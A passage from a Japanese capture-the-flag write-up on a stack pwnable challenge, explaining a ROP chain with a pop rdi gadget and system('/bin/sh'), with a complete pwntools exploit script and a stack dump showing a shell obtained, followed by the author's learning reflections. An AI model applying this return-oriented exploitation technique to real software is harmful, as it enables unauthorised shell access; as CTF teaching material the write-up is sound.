ちなみに、システムコール命令を使うならrax にシステムコール番号を設定して syscall を実行するわけですが今回はsystem関数のアドレスがわかるので今回は使用しません。では問題に戻りましょう。引数を渡すのに使える命令をROPgadgetで探します。ここではsyscallの引数として"/bin/sh"を渡せばいいわけですから、"/bin/sh"の文字列はエクスプロイトコードのなかで用意するとして、それを第一引数にするにはpop rdi ; retを呼べばよいです。そして欠けている情報がもう一つ、「popしてrdiに渡す"/bin/sh"のアドレス」です。問題の出力でsaved rbpが書いてくれているので、ここからスタックサイズを引けばスタックの先頭アドレスがわかるので、ここに"/bin/sh"を格納しておけばよいです。ごちゃごちゃしてきましたが、結局このような積み方をすればよいはずです。

addr value
saved rbp-0x20 "/bin/sh"
... dummy
saved rbp dummy
saved ret addr 0x0000000000401453 ( pop rdi ; ret)
saved ret addr + 0x8 "/bin/sh"のアドレス
saved ret addr + 0x16 0x00000000004011e5 (system関数のアドレス)

あとはこのようなペイロードを送りつけるプログラムを書いていきます。saved rbpは実行毎に変わるので実行結果から取得する必要があります。

from pwn import *

pc = process("./chall")

pc.recvuntil(b"000002 | ")
saved_rbp = int(pc.recv(18), 16)
print(hex(saved_rbp))
binsh_addr = saved_rbp - 0x20
pop_rdi = 0x0000000000401453
system_addr = 0x00000000004011e5

payload = b'/bin/sh\x00'
payload += b'a' * 16 # stack_show()の実行結果から数えました。
# 0x30...読み込むサイズ、0x10...バッファのサイズ、0x8...アドレスのサイズなので
# payload += b'a' * (0x30 - 0x10 - 0x8 - len(payload) とかでもいいですね

payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
pc.sendafter(b'understand?\n', payload)
pc.interactive()

実行結果は以下のようになり、シェルが取れます。saved ret addrのvalueが、pop rdi; retのアドレスになっているのがポイントです。

[Index] |[Value]             
========+===================
 000000 | 0x0068732f6e69622f  <- buf
 000001 | 0x6161616161616161 
 000002 | 0x6161616161616161  <- saved rbp
 000003 | 0x0000000000401453  <- saved ret addr
 000004 | 0x00007ffe13a7b8b0 

感想

pwnableについては初心者向けのCTFにおいてはスタック系の問題は見当がつくようになってきたのでヒープ系の問題にも手を出していきたいです(pwnはなんとなくロードマップみたいなものを意識できるようになってきたので常設でも挑戦する問題にあたりがつけられそうです)。reversingはまだ出たとこ勝負な感じがあります。とりあえずgdbとghidraは手足のように扱えるようになっておくべき...。コンテスト中に取り組んだのはこの4問だけでした。そのうち解ききれなかった問題も理解できたら解説をまとめてアップしようかなと思います(書けたら書く)。